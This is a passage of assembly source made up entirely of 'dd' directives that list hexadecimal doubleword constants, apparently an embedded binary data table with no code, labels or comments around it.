		dd 0E0A2E181h, 2519872h, 0D7EF69EAh, 9C402DF8h,	0F29887C8h
		dd 8513D4E9h, 495D8F00h, 8D818AB6h, 6DCA076Eh, 0D8D206h
		dd 311969E6h, 0E0102826h, 0BE2C0A00h, 0F4F9AD9h, 0C705EF79h
		dd 0C0CF45C4h, 26AE1AFCh, 0EB6EF61Fh, 0C6BFF440h, 0F48E1755h
		dd 3EE2E61Eh, 0F6DCEE3Ch, 1B805F00h, 6B332FF8h,	0AA323B16h
		dd 0D4087200h, 7A01888Ch, 78241C61h, 0C4670E1Eh, 13F7FF80h
		dd 7B00B7F8h, 453228BCh, 65F9615Dh, 906C8002h, 5E3E2CD4h
		dd 9BB1FF01h, 7B80A5E8h, 2CC0EE20h, 1C9C683h, 8122980Ah
		dd 0B63880CCh, 8A1AD2B8h, 0C81000E4h, 0BCB115DBh, 70BD45BAh
		dd 189B005Dh, 0B2575D7h, 520097A1h, 7498D45Bh, 0F53E1Eh
		dd 4727B5B2h, 4EB8B3D7h, 0DBB95860h, 8E1C68h, 0F7C7EE5h
		dd 66A63980h, 59106507h, 0A1308CBEh, 7C813E2Fh,	9ABF001Bh
		dd 0C465FA2Ch, 0E90273D8h, 0F6508330h, 9D70E0DFh, 3BB100E1h
		dd 5976495Bh, 0D770362Fh, 5700A17Eh, 847A3E5Ch,	9F9D72h
		dd 0D0F70E68h, 0EEACEAB8h, 0A92ED800h, 27B94609h, 3B733A67h
		dd 0C43E8A8Eh, 31B1E2A0h, 7E8B341h, 8F670F16h, 95C0B300h
		dd 1A777Bh, 17326D2Fh, 0E0E720DAh, 0CC1FD07Dh, 1CFF8792h
		dd 4A4F0BDEh, 0E078089h, 0F338239h, 0C3159512h,	3740413Dh
		dd 0E843AD22h, 5C000CFEh, 749630D8h, 0FF8CABAh,	0CED30BA9h
		dd 0A880322Bh, 28C5AAA8h, 8E0E407h, 24251A33h, 55032880h
		dd 5434000Dh, 2593EF85h, 7400D1A8h, 0E56D2E04h,	410950h
		dd 530CA613h, 3C2FED85h, 17169F13h, 0C8995002h,	0CC4497h
		dd 0E2459DA3h, 5B31B8EFh, 0D43A54BAh, 98DF262Dh, 181E514h
		dd 0E8BC67BFh, 72FCC5F8h, 0C6990198h, 7E75AA51h, 8DF84042h
		dd 67032E39h, 0A7F28777h, 0F96098BBh, 21D16B6h,	0BA704396h
		dd 8DF87E48h, 8E1ED7E1h, 0D100E9BFh, 629A4ABh, 3A27554h
		dd 1AF1717Ah, 0DC0868Bh, 774A07Dh, 6600C3B0h, 10DDFDEAh
		dd 0BD027Ah, 0F46C1BA2h, 0C226DA34h, 55D75602h,	62D3A650h
		dd 5CF4CBh, 0B73206F0h,	70B835EDh, 36653D00h, 0E250AEBFh
		dd 157E00AFh, 5A49D6DBh, 1B0054B6h, 16796884h, 251E19h
		dd 65A35CC3h, 0D4BFA77Ah, 0EF975E0Fh, 0F8348051h, 372759h
		dd 76066AEEh, 2A6D6581h, 5EF09DECh, 0A972C300h,	950308B7h
		dd 0E06A0021h, 98DFA214h, 100034C7h, 0B4048651h, 772941h
		dd 70CC36E6h, 0B5CD0B4Dh, 0C9C070Fh, 0DCFCBC85h, 19E90151h
		dd 1A023D76h, 0B63ED4h,	0BFF731C2h, 4C942B3Fh, 0A3EF0E6h
		dd 2E017D0Fh, 0E3F31B29h, 0E0D8D116h, 46BE0093h, 8B88BB9Bh
		dd 5800EB41h, 0C645C5A4h, 0F5D0B6h, 6733E5A8h, 93FB2463h
		dd 15463100h, 6EBA9ACBh, 0DC0B0052h, 0D6251001h, 0F8C16BC9h
		dd 0F7BDA9A4h, 3824DDFCh, 1A83A63Bh, 0F5E8C864h, 8C65EBF8h
		dd 0BF3853ECh, 84A28008h, 1352A5DFh, 0E0A000D4h, 5F83F670h
		dd 3100F1ECh, 4AC64B5Ah, 0DA2B21h, 37661056h, 3CB9CE58h
		dd 683B7000h, 5FBCFA9Eh, 0FBF200A5h, 0A220C7FFh, 5438B982h
		dd 52B71E51h, 79020903h, 8871D03Bh, 0CB5F060Fh,	707EA672h
		dd 0A83F371Dh, 789681BCh, 0C2EFED4Dh, 0B84EF4h,	0F106374h
		dd 6EC00A27h, 7CE1A400h, 42F4E012h, 97DA3013h, 0B35AB611h
		dd 4FD96B00h, 0DD21163Bh, 1CE579CBh, 1A4773ABh,	0B560287Fh
		dd 72003F93h, 8200C49h,	0FDD2744h, 0E9FBFAB5h, 55A0184Eh
		dd 2D40D1Eh, 9FBC0F3Ah,	29C9C0C1h, 81160016h, 3FA53788h
		dd 0B7873C05h, 0F0FCD9F3h, 3E52E83Bh, 4615400h,	0C2DEF685h
		dd 8D30001h, 450F3D86h,	6307927Eh, 4E04A1EDh, 0E94B8B40h
		dd 96AB146Dh, 9400E46Ch, 0FD10E315h, 0E0EC1320h, 9CF51F1Fh
		dd 83206D18h, 0B98802D0h, 28F14122h, 77A580A0h,	810011E2h
		dd 0E76E6D82h, 6F4B1Bh,	0BAB435E8h, 4CEFBD3h, 0A4E33F3Eh
		dd 700A7E0h, 4C06966Eh,	0F3F012h, 31BDBE9Ah, 8F4E3803h
		dd 6FD84101h, 9D5E9F5Dh, 0E8C2B820h, 0D06C009Eh, 64341E05h
		dd 0F06DE32h, 1B4E56FAh, 0A172A0h, 0C2DB3F5Fh, 0CD1D85Eh
		dd 0F3719400h, 4FC182F4h, 0FCB81C0Bh, 49340011h, 3D666CDFh
		dd 0EEE15F12h, 0F68DE800h, 2854FA79h, 48F31837h, 680124B0h
		dd 7C764F86h, 835DEC5Bh, 0AD012090h, 0EAE57132h, 70D4F117h
		dd 0F9A5006Bh, 0F3B218E3h, 41C70A2Eh, 81404495h, 398D9F6h
		dd 58630A3h, 210023C9h,	20CC2EACh, 9343126h, 1C3A1BF4h
		dd 0AEC39670h, 88B7F694h, 336EAEh, 209835E4h, 7ECF19B4h
		dd 400D07Bh, 0A8A1579Dh, 0C4FE4CEh, 893DA5C5h, 15004AA8h
		dd 0FCF92A46h, 0D57C0Bh, 8177916Bh, 0D356CD0Ch,	1230CA0Eh
		dd 0AD7AE528h, 3576BA00h, 0E6E52EA5h, 2E3E63Fh,	8F1DD3BCh
		dd 4AC01BD4h, 3300E704h, 58B026DEh, 0EE363A5h, 0B48BEC6Bh
		dd 0C800B6C9h, 0D647C8F1h, 0C7B5F00h, 575290A3h, 0FA3401A5h
		dd 5E448785h, 0C4242440h, 250B7800h, 1349415Bh,	0F02926EBh
		dd 9C3600ECh, 460EA1FCh, 89AF424h, 3577AC03h, 0C8D0F407h
		dd 7BB665EAh, 7B3A00C6h, 0B34B94A7h, 7601038Dh,	6BFAD679h
		dd 24600F9Bh, 0AE573CB6h, 1A37DB00h, 0A168B40Ah, 79DAF000h
		dd 291B4159h, 0B490BEh,	1D7D23AFh, 363BA21h, 0A687C618h
		dd 0E63ACDB1h, 0A9E41F78h, 2F430097h, 17B7A8F7h, 5CF0EB00h
		dd 6FE01D89h, 4CBB0059h
		dd 0CC3A759Ch, 2909FFDCh, 80EE8E23h, 0A81A08B4h, 0CBFE3DB4h
		dd 933DFA02h, 7C60E941h, 86000776h, 6B373B87h, 2C06D29Dh
		dd 8038C12Ah, 39C2ED74h, 0BE0EEAC0h, 0E7B992Fh,	0F8F9AC5Ch
		dd 0B1190510h, 19DE6F0h, 8F57CFA0h, 0ACA0C61Fh,	7F90100Fh
		dd 72AAB109h, 2D54A01Dh, 8E79AFh, 5DC3F5F0h, 0B684B3EEh
		dd 0CCFDBCA9h, 0F603EB54h, 7A35C109h, 0FB65E04Eh, 7CD716Eh
		dd 2031A962h, 35F450BBh, 0F183954h, 0FF419AF1h,	4E9F494h
		dd 0FEA6A4EBh, 1CF09055h, 4E60C845h, 397457D8h,	82640423h
		dd 87986BCFh, 50BDA700h, 0F1B641D0h, 0FBB4D400h, 5111A14h
		dd 0A2E73A9Ah, 0D5520F80h, 42253A4Dh, 6AC5E100h, 67B794ECh
		dd 0A3B0B3h, 9932E2Dh, 9C128145h, 61DE8D02h, 40A5A70Dh
		dd 9FC86FCh, 0B4628F91h, 5808A400h, 641CCAE1h, 0EB56FB6Fh
		dd 6DC20C43h, 0D4084027h, 900700FCh, 0A3AD1811h, 0C7749B7Dh
		dd 37E7848h, 0A916279Eh, 0CC288879h, 7E0A0057h,	0B9B4A64Ah
		dd 0D0006B32h, 4AA0539h, 0E3A4A5h, 77C8831Ah, 530A9D40h
		dd 0BA89E700h, 0C722BB93h, 0E4D55918h, 70B9D007h, 90231056h
		dd 0DCE228B2h, 0AD26CB00h, 3EBB2A51h, 0E6C0012Ch, 945502FCh
		dd 0E714C068h, 275F4F00h, 534E1FB5h, 0FF6918AEh, 28601813h
		dd 84560F0Fh, 4939011Dh, 7DCBD2Eh, 0D1633F85h, 0AD7D7005h
		dd 0E82BC027h, 0D8604A19h, 1586C98h, 0B3940023h, 0D058C39h
		dd 0FE01D6C8h, 247A719Bh, 985379C3h, 0ED5000A6h, 92987616h
		dd 4A244EBBh, 803A4480h, 0F0FC1227h, 0E8A07FABh, 0C8D64929h
		dd 0E976B00h, 1F46254Dh, 7D9F8800h, 0FBE8B870h,	0CC0402A7h
		dd 92824C76h, 8CB19840h, 2ABF39C7h, 75EF9010h, 44AA03B8h
		dd 70FDBBF7h, 69ADA90h,	0F17F1B0Fh, 8C0DFFBh, 1D3B6968h
		dd 0F81154C5h, 64E09261h, 43D990E8h, 0A06E0E0Ah, 150C033h
		dd 3142CB9Dh, 0C82DC2E7h, 4F09F28Eh, 1FC21C3h, 0B3170EC2h
		dd 0EBCFC822h, 0C9A301B0h, 6FAD5255h, 0FC419035h, 0F824E734h
		dd 869536B9h, 0A604F040h, 5328E45Fh, 0A187DC90h, 59490973h
		dd 0C4023BB9h, 0A040FE27h, 46F8FBDBh, 0F438CA74h, 0B3668070h
		dd 4839799Ah, 80455836h, 8C756980h, 0FF1F62BCh,	2A40E932h
		dd 79C7A540h, 0B1170001h, 0D9A21D6Ch, 220B8FB0h, 0E4F3C24h
		dd 0E2F66060h, 0F202FB21h, 9C36540Eh, 7F9C1829h, 3DFE343Ch
		dd 77DA8A05h, 1080E553h, 4C8928h, 848FC409h, 0FDF96442h
		dd 5F235D00h, 89D2930Dh, 0D4F5007Fh, 0E469C448h, 9200DF85h
		dd 613ABBD0h, 718364h, 0B61F212Ch, 0B184C735h, 256B6703h
		dd 0C0C032BBh, 74B11DBh, 0F8591D70h, 9154708Ch,	0DC3B0127h
		dd 5B90026h, 0B6021317h, 4DBA00ECh, 0F9E66E7Fh,	80002DEBh
		dd 49645F32h, 5C15A46Ch, 51004139h, 69BB1A62h, 5900BE1Bh
		dd 0ABFF9ED7h, 55E9AAh,	4AB90A61h, 35A7519h, 0BD3B9890h
		dd 0CD470048h, 6E26276Ch, 549D3D44h, 3B867283h,	2EFBA804h
		dd 0F59AD1DFh, 0D9D4FC97h, 59380500h, 8D3DBDDDh, 88063861h
		dd 627C1A00h, 29584B10h, 0B50D0800h, 0CE90F252h, 6AA400D2h
		dd 0BE154F17h, 47003DEDh, 5FFBDD2Ah, 3D26D75h, 962249FEh
		dd 23C8786Eh, 63005DAAh, 0C435B72h, 5C067E9Bh, 640E46FEh
		dd 0F9C0DACBh, 97C2E58Ch, 87D9A800h, 0B4FC8349h, 79C9186Ch
		dd 0D3B8D02Dh, 987DD600h, 0E9F1DD17h, 0DCD1C24h, 1D3A53D7h
		dd 7C2CC08Eh, 2D72F77Ah, 0B1328C03h, 0A0938851h, 0F1C4AFh
		dd 0A6FAD5A1h, 891541A2h, 0C087A82Ah, 0F11D2200h, 0B9197AE6h
		dd 48AF008Ch, 4DECAD69h, 8CA37C61h, 43B514E8h, 0BCF4F109h
		dd 0F618294Bh, 2CB30ECDh, 0C3DD96C0h, 8C0F99F1h, 0A7A7D41Fh
		dd 0BD9FDF6Eh, 0C0C22BC7h, 0AF1CEDF0h, 0A88F00A9h, 0BB0C97E7h
		dd 0DC3BF6BDh, 4F2200ECh, 0A6D6646Fh, 491BEE8Eh, 0FE002C18h
		dd 0F95BBF4Ah, 0B700E8E3h, 0A9E0ED9h, 0C0CE48EEh, 3D5301C8h
		dd 0BC3CC482h, 166A00B9h, 0A0C3027Bh, 0F17E0340h, 771A3FAFh
		dd 7EE661E9h, 5F19E0h, 358F6C90h, 0D2EB0DEFh, 0F3B89660h
		dd 798C4D0h, 0F1D6B0CDh, 0BDA973C3h, 0A68A99B0h, 5C161F00h
		dd 93C78B56h, 366E0084h, 0AFC5522Eh, 0DA20BE6Fh, 213505F9h
		dd 0FEE1FF9Ah, 0A4946080h, 819E0039h, 0B68E0A3Fh, 0BE4F5B31h
		dd 551F3EACh, 0ACA30071h, 0E0EF2CD8h, 0DD1F9600h, 340DF8D2h
		dd 472D00A2h, 0C85D07A5h, 0DB0016A8h, 0CB79E4DFh, 7ABC599h
		dd 0FD123A88h, 77B570F5h, 9501E9DBh, 3290E5B9h,	48F633EFh
		dd 2CC92BCh, 0B310D699h, 0B4406854h, 1D030487h,	7CC9E020h
		dd 86BDB840h, 3E903FF9h, 0B772D600h, 89E5D38Bh,	0F6854F00h
		dd 0B1A7BF37h, 0A0EF00E7h, 1D67606Fh, 9700ABC2h, 0B35F348Bh
		dd 81C37h, 0E9BC4626h, 646D8AF9h, 8E0E2090h, 8090C2DFh
		dd 8314674Fh, 8F280EF8h, 18C0BF6Eh, 0B3F0B226h,	45EDCF1Dh
		dd 93FC1100h, 0BD32Ch, 0C6090846h, 0AB76AE2Bh, 0A5AF2700h
		dd 959CD958h, 0A9F90048h, 0BD9793DEh, 3C72F8CEh, 76B40900h
		dd 27266FDFh, 0F7700019h, 9A6A907Bh, 0F307DC98h, 0FEF8D30Ah
		dd 90969B24h, 8DA70758h, 0A0FC57CAh, 30D09348h,	0C9000BF2h
		dd 0F4C0ACF6h, 21CAEEh,	3D655DEFh, 44FF41B7h, 392BD70Eh
		dd 4C20A045h, 6F7372h, 5D0574B1h, 0C40A68FEh, 514EFB0Eh
		dd 3BAA40BDh, 18AA8h, 0EBCFA61Fh, 0DE6AB78Bh, 0A066B900h
		dd 0CAA32AC5h, 0C69200CDh, 0F7351707h, 7D0F1A6Ah, 89645B61h
		dd 0A800DD20h, 0D0D36F01h, 813B8301h, 103ABD02h, 9D84F0h
		dd 565D4D5Eh, 0FFD12115h, 26406001h, 0FC0C64FBh, 615C20h
		dd 1812C394h, 4B43AAB0h, 0F6427B05h, 5F80CEE8h,	1ED7561Ch
		dd 401F6B59h, 69E48AA2h, 0AA00C2C8h, 0B4160638h, 24CB8F6h
		dd 0F9E84578h, 88401AC5h, 4803E477h, 0FE795E9Ah, 9271000Dh
		dd 0FB25F456h, 4124D90h, 0FC00CA72h, 79D5A098h,	5452739Ah
		dd 108A18EAh, 3E1B25F5h, 220074C7h, 0F6DEDB04h,	3FBFC64Fh
		dd 8B80A892h, 0F778B6A0h, 0B792F22h, 66AFCF1Fh,	791D4FDEh
		dd 0A38DF44Fh, 1DC124DBh, 0E86C48h, 0F4E59D4h, 0B8015EFCh
		dd 0A438352Dh, 7BF4C066h, 0F5B03392h, 5FA8FCD0h, 7921E62Bh
		dd 40781EE8h, 0F866A635h, 0C000DBABh, 12AAEDC4h, 3EA29B3h
		dd 54D6478Ch, 4B803D0Dh, 9B7BC418h, 0F379C0Fh, 8E2B8B55h
		dd 0F2CD60A7h, 671418Dh, 0E38CC2D0h, 0EC7038D2h, 7010A830h
		dd 18B2428Dh, 3033E772h, 4507F779h, 8592A4B0h, 60476E3h
		dd 0A08CC318h, 0A9F860EFh, 0EE8B3607h, 7980730Fh, 0C1193B6Dh
		dd 70168C28h, 74E18EDFh, 0C8A540D3h, 83F378A9h,	9EF841E1h
		dd 89300121h, 0DDE29CC3h, 8D270151h, 80F3077Ch,	47945D1h
		dd 30A9F23Bh, 0FC495761h, 25040C1Bh, 1A28DBD8h,	3A91001Fh
		dd 8B8E5CBBh, 661FB078h, 9400F3B2h, 26512273h, 602968F2h
		dd 0ABE40360h, 86010793h, 0DE74C468h, 0B07E5026h, 0DF0048E9h
		dd 107975CBh, 0E5E5CD2h, 0D146BD3Eh, 0D0AB1147h, 6209D7E9h
		dd 0B4B72800h, 1488A5E2h, 10D90242h, 2A04DB57h,	259B66E0h
		dd 66946000h, 0AB787F5Bh, 0EFBF006Fh, 0C76DEA64h, 7306D989h
		dd 65C92B96h, 3ABE0AA8h, 1FA09997h, 0B4050798h,	4E3CC01Eh
		dd 65317368h, 6DC5108Fh, 18743820h, 30B520DBh, 790A734Eh
		dd 98F2385Dh, 66FA7440h, 506D3143h, 0EEC1E018h,	30FD9CA8h
		dd 0EA89B529h, 4D64FF00h, 0BD418782h, 0C0A1E0C2h, 6285C958h
		dd 0F8A0020Fh, 0BB18946Ch
		dd 7488B6AAh, 0D6F014E9h, 0A712B0F8h, 713800C7h, 505DA0B8h
		dd 0C84A8400h, 6712D7B2h, 0FAFEE55h, 71851962h,	0CD8F7B00h
		dd 66001D72h, 97963477h, 0F11DC53h, 5878813Ch, 9548B40h
		dd 3EEC4A90h, 9F009B7Fh, 71CB89DDh, 730737A9h, 0EBD20335h
		dd 0E423B378h, 0D18F3800h, 0E3864DB0h, 0C33D3B38h, 4E12BA80h
		dd 99EC8CBFh, 4D523907h, 0A8700EB1h, 0FFEF7Fh, 336430ACh
		dd 0F9CC0A6Ch, 0FCF21A00h, 2A0F0D8h, 7C95776Bh,	926A0782h
		dd 0B0FA728Bh, 759D37Bh, 0F78E19C1h, 3088943Dh,	0AA0FF823h
		dd 0EFB540D8h, 874F5Ch,	8D16ABE5h, 0CAA15D76h, 1C85160h
		dd 633D5A11h, 9467F9CDh, 0A43C7000h, 0B6D78FEDh, 7FE0069Dh
		dd 40510FBBh, 0AC6BDB01h, 0F56F61F8h, 0A03584C4h, 1854D880h
		dd 11F90F05h, 2300A34Dh, 0F7225E6Ch, 7468C1h, 82F6C238h
		dd 976D9E10h, 204C8C00h, 0E15004FBh, 0FD72303Dh, 0BE56558h
		dd 9929FF00h, 0AAA80183h, 42A700F2h, 121CDB3Ch,	4600D25Ch
		dd 5FC0612Ch, 0CE3BF56h, 0AC4C4B77h, 0B100C428h, 800130DBh
		dd 0E233863h, 0E090553Fh, 0AB9116C1h, 19518BF6h, 0C4980E8h
		dd 5EBED4h, 149C17D1h, 49591A9Eh, 0C100A571h, 435BC37Ch
		dd 0C0D1573Ch, 7F8BAC38h, 2E6859Fh, 0F06F07Dh, 0B401241Ch
		dd 0CA543020h, 7E217D29h, 0E0E5F2Eh, 0A2BC700h,	1FAB5202h
		dd 414DC5C4h, 0E42620FAh, 85A6E0D2h, 3F603D00h,	886B0729h
		dd 12CE034Eh, 58C15576h, 0C3FF9000h, 0E759D065h, 6C573EF3h
		dd 79437580h, 53313F2Ch, 2DA778C0h, 6B7B61h, 8F6A7D9Ch
		dd 621CAA11h, 0CC903F00h, 64265228h, 0DD2F00AFh, 409BCA47h
		dd 0F5F0A87Dh, 94F00B1Eh, 0B6302903h, 724BC011h, 312C181Ah
		dd 0C7B3615Dh, 54A49154h, 0AF1A563h, 0AB73E0EAh, 1C9740Ch
		dd 0AA71A9CDh, 576A4A5Dh, 0B0BD20D0h, 0FA0BF102h, 8FC73E86h
		dd 45E24053h, 697615h, 0C58C74BAh, 6F57491Bh, 0C92EAA00h
		dd 0F0176DB9h, 6F986Ah,	0C701164Ch, 62D7C4B6h, 0BEDD9400h
		dd 0E9D571A0h, 40E700C3h, 0CE98C9A2h, 442459F6h, 0D600649Ah
		dd 3ED8E72h, 96A0CE7h, 703080AAh, 0E087B43Eh, 0B5C2E418h
		dd 625F80C6h, 2BC01200h, 10976BA1h, 0FDC100CFh,	0BABEAEF6h
		dd 0E800F55Dh, 6FF7637Fh, 17BB048h, 64C6519Ah, 0BE499446h
		dd 74AE0E78h, 0FCFEBF13h, 197A3435h, 7CF88700h,	0F9276C7h
		dd 38855A60h, 0C463B680h, 0F5000271h, 21DEF944h, 62546FAh
		dd 7B404A82h, 0B9007093h, 0A94119E7h, 78E4986Ch, 84B9C751h
		dd 52BC307Ch, 5A0F483Bh, 81C2454Ch, 58F48EE5h, 95569440h
		dd 107D00F6h, 2CD71946h, 0DA2C47F8h, 0C70033BEh, 0FB3DE8D4h
		dd 499F0165h, 0D6556AC4h, 84D8F7F9h, 9D053E58h,	0EC6026C1h
		dd 0BFE80403h, 1C107F78h, 40DE7148h, 4A026FD9h,	0E6FCC760h
		dd 0ED554D04h, 49C11E9Ch, 1442B79Bh, 0E7481053h, 8821E088h
		dd 67895E47h, 0E244DF08h, 0D8C289C4h, 0B60097C1h, 581C6AFEh
		dd 751110h, 78963356h, 0E8A75D81h, 0C80EE57Fh, 231BC66Fh
		dd 0CFAEB4DAh, 0BFD35870h, 0D15305C2h, 83DB1160h, 9AD32B1Dh
		dd 23AAB6C8h, 7FF081F1h, 84057213h, 3A297E8h, 480D40B4h
		dd 21A0FE24h, 2FEEB2E1h, 0ECF6AF09h, 8780D7EEh,	30FE1F0Ch
		dd 1F45B07h, 0D61048EDh, 0EC49A2A7h, 0CC470D08h, 0D45C2766h
		dd 87F63D4Ch, 5C0D2E00h, 58AD67BBh, 0A9EC0059h,	34DC11D8h
		dd 0CE69213h, 97B0D300h, 6FE22D82h, 0FB3A0038h,	5447B58Dh
		dd 0D2096E84h, 301FF9h,	40FE2EA2h, 0E7B31477h, 0C400D876h
		dd 0EE7F416Eh, 1E1CDDD0h, 1800E528h, 7C885EBCh,	9B31009Ch
		dd 0B9D4FFB0h, 0C4160478h, 950002F4h, 0F9FD8DB4h, 0F2970014h
		dd 7530A2BDh, 99EEABE6h, 0E2474501h, 872EB737h,	6B9FF4h
		dd 0DDB135C6h, 0AC48B0BCh, 0C822F700h, 0CDC7463Eh, 6263F5Dh
		dd 56B8DC80h, 3357B5Ah,	59929E02h, 60C23775h, 12A8427h
		dd 32E08750h, 0D0CFB4FFh, 5E001748h, 56578190h,	3F2EC3h
		dd 6BE5B821h, 0A5620F71h, 6007341Fh, 75B1C840h,	48F0E3F8h
		dd 2E4860C5h, 0BCDC3701h, 60492C4Fh, 7C0008ECh,	8C2B200Fh
		dd 755A995Fh, 8E210F9Ch, 3E809E42h, 2E9FEE87h, 7F00D376h
		dd 7E0EA9D0h, 429815h, 0B580B2DEh, 33DAA45Bh, 70FFA07Ah
		dd 1D014AADh, 56F39DBEh, 55FD443Dh, 0C03EE6CDh,	10AEC79Ch
		dd 16285B00h, 38EC03FFh, 0F8A40063h, 0D8E91BAAh, 9016A5BCh
		dd 0F800B98Fh, 1E3956C6h, 27DB006Ch, 0C1E859E1h, 0F600D04Dh
		dd 649EE7B0h, 1E94E9h, 9249DF41h, 7D9BBE5Bh, 7B393F00h
		dd 0ABE01F15h, 697631h,	3BA648A4h, 847CC603h, 1E257300h
		dd 9F7EE991h, 54B785Ch,	323FA9B7h, 88F6004Eh, 188ACC84h
		dd 62424100h, 0CED6C6B2h, 0A952008Bh, 0D9E9142Eh, 0DE008E38h
		dd 5AA08A7h, 0F2AC1756h, 0C78D13BEh, 0C0201E22h, 71A6FC26h
		dd 0BCF6E864h, 201C5300h, 567F864Fh, 8E281F44h,	0D284C341h
		dd 0A2A0FF1Fh, 74007276h, 26E417DAh, 24508B45h,	8B4214h
		dd 0F28D84A6h, 8000A168h, 97D3D43Ch, 2E6DAA38h,	0FC2CBB7h
		dd 0D9044FD2h, 4BEFC06Ah, 0AD0031BDh, 65804DD7h, 0F06EC2A4h
		dd 9D6E240h, 9D348C0Fh,	0E45AC000h, 0FE035125h,	0FA0B7BA2h
		dd 0C98298D2h, 3C5C006Ah, 431C2E23h, 0C40013FEh, 7422D976h
		dd 3C4EE986h, 0CF80F5DBh, 0CD62E72Eh, 2AF665BDh, 3E10D00h
		dd 0E6665404h, 0F25A00B6h, 23EE2170h, 0AD03A0B5h, 1290957Ch
		dd 9778D8A9h, 5BEA0FD8h, 9200CF02h, 0D67AC72Ch,	0EC7FD524h
		dd 9D556900h, 3A883F2Fh, 0D3AA9ABDh, 3C3ECC4h, 0AC050DF0h
		dd 60BAA962h, 0B0A810C3h, 0F8003F50h, 3A2E1C80h, 7ADCBAD0h
		dd 428A0998h, 888E8E17h, 81E0A4AFh, 309784AEh, 0D3A7D00h
		dd 0E1B17FB7h, 10BC166Eh, 0C72900ECh, 0DC3CAD89h, 154BE4Ch
		dd 55AC3B2h, 0BC21C215h, 3A3A75C4h, 8D000F9Eh, 13B3A308h
		dd 24090EEFh, 7504D12Bh, 2C1B0E81h, 67A2D87Eh, 9D63BE00h
		dd 82712E6Eh, 1E14F889h, 0C04792B2h, 62E61B35h,	0D5014DF4h
		dd 0FF0B01CAh, 5E603019h, 3C0C003Bh, 25434517h,	9201D618h
		dd 24959D05h, 0DFD09312h, 2DAE001Ch, 89E8F1DCh,	3A072659h
		dd 0DD6FCBEAh, 0B8BA0AC3h, 69C8C2h, 0D6533EC4h,	513A01B0h
		dd 44E14B00h, 80D9FF19h, 1683098Dh, 7020B7E3h, 104D8A35h
		dd 79949F03h, 8FC76E74h, 0C2001F7h, 587AB3h, 0D49AC3DFh
		dd 0B031A8E5h, 0A2511B00h, 1AC9AA64h, 0E6D53857h, 0FBEA8D17h
		dd 0AFDD3300h, 7198F2h,	0EED43E10h, 9B57E19Eh, 501E2400h
		dd 0BEEC118Ch, 0FEF338B7h, 724D2A00h, 1BCFEB7Ch, 120FF4FEh
		dd 0FD3D64E9h, 9943680h, 5C856DD3h, 6B0094DCh, 4AED0554h
		dd 620029BBh, 3CA0940Bh, 0FAF832h, 356DFCACh, 66BA6112h
		dd 0E94EA200h, 23DF6EE8h, 177B1FF4h, 0D4B700C2h, 0C3222721h
		dd 1280E400h, 0EFA63BCCh, 92A41D3Ah, 15D183A3h,	4001153h
		dd 22715D7Ch, 1DFF105Ch, 1C7DE8B7h, 4B7A47A7h, 0EAAEB004h
		dd 0D1035E34h, 52A0F1FEh, 9C37C175h, 0E9D3C8h, 0E46C2E8Fh
		dd 6148A3ACh, 21DB8D00h, 0E1822BFDh, 9020F364h,	0D8C54C39h
		dd 72F94E0Fh, 0AD48F360h, 4A01EFF8h, 7590C0FEh,	52F830CEh
		dd 0DE7701D7h, 4C222093h, 0FDEEE869h, 7F66EB00h, 0DBA508CBh
		dd 0C22324D3h, 0D9B20190h, 0F0AEF87Eh, 0AC3AE8ADh, 197A00E4h
		dd 42874965h, 24C34CE7h, 2C9F533Dh, 2100BBF3h, 23BBC1C0h
		dd 0AF0E2BD3h, 0BD45710Ch
		dd 54820387h, 0C8A9F560h, 5FD80083h, 8A127FEh, 700912Eh
		dd 3004C437h, 0B0B74105h, 0B674073Ch, 0E081FDC2h, 0CD3E21FAh
		dd 0E2133501h, 9A4B0217h, 5B8A5E80h, 763F37E9h,	0D7BE2B04h
		dd 0D8C0E1BAh, 9F964C5h, 4998A9CBh, 0E9FEAE00h,	4B5C6E12h
		dd 2B017D74h, 267ED801h, 9220A757h, 0BEA90720h,	20A50679h
		dd 8BD76421h, 0DCA32201h, 2E3FFCA8h, 2E6AA120h,	1D25C738h
		dd 0E6CC4562h, 6674C0A0h, 3FEC7E80h, 18A81E20h,	58B45DF8h
		dd 0B30A2CA6h, 0E00D257Ch, 2965D980h, 196E5Dh, 0E8134412h
		dd 708F3D79h, 0BD09F58h, 90EF94h, 7E57CDB5h, 0C37033h
		dd 0CE13896Ch, 0E467D310h, 48A86B02h, 0A08373B9h, 5EFBD2E0h
		dd 610F167Eh, 0C43B1DE9h, 0C0769131h, 0CEE845ADh, 51CB850Eh
		dd 591F80A8h, 69C94Ah, 0C1BCE576h, 2689E3BAh, 5CB1CC00h
		dd 8473B02h, 5DFF007Bh,	7056030Dh, 4C1F0AE8h, 364028BEh
		dd 0F78F87F8h, 0F09C4E4Dh, 3A00F5A4h, 4506781Bh, 210712h
		dd 6217118Bh, 0C38FB084h, 0DC38D76Ah, 3B8C4400h, 0ECEFB765h
		dd 0F793009Ah, 8BA16CFFh, 0F3778ACDh, 23A08001h, 0D7EF7D65h
		dd 0B17260h, 0E4CB6CACh, 0D2DE785Fh, 72E57400h,	0F62DC87Fh
		dd 690207F3h, 80D05573h, 501A180Dh, 2E2B080Eh, 9887C049h
		dd 0FE74B14h, 0EF7F904Ah, 50CC0E66h, 8F8D8901h,	2737929Bh
		dd 538030h, 0FB917E7Fh,	0DCD1F79Ch, 0A56DC502h,	68B11885h
		dd 0BB6BCh, 4EF39BDDh, 0FB1AC2D5h, 3DA04Ch, 0A295B9D0h
		dd 9E796Dh, 2487423Fh, 691D9B94h, 4A23BF01h, 0C42CF604h
		dd 4E00482Ch, 0CB4982BCh, 430051C2h, 0B85C7323h, 9F9CE3Dh
		dd 851E40BAh, 0A2E16060h, 5239C560h, 3A1324DBh,	0D70CD34Ah
		dd 4818E80Dh, 8210C361h, 0DB0261AAh, 0B9717000h, 0A4640074h
		dd 0B20F96D8h, 945C1EE9h, 10820034h, 0F9FC68ADh, 0D4190217h
		dd 0C0558699h, 0D582C0D7h, 0A69316C5h, 9F884054h, 0C15E6530h
		dd 21DACD79h, 5CBA60FAh, 8C1D18D8h, 0A3C190DFh,	0C098B837h
		dd 70DDD580h, 0BC5F66Ch, 0E4E655C2h, 105F88h, 0F3DF8619h
		dd 0F807237Dh, 4A07DBD6h, 11C131C0h, 460E0328h,	5630D725h
		dd 0A6D0CCA0h, 58268B0Eh, 9B7F20DEh, 8503CAh, 8C2C4A5Ch
		dd 0B9F5F256h, 0C95B7800h, 0E8D23A4Fh, 54787Eh,	0E74DE931h
		dd 14456F77h, 0A8C0DB01h, 0F3E29313h, 1E093520h, 0C13D19BCh
		dd 5E7DF690h, 6FABFCD0h, 0A051E300h, 7C452C59h,	0DDB80014h
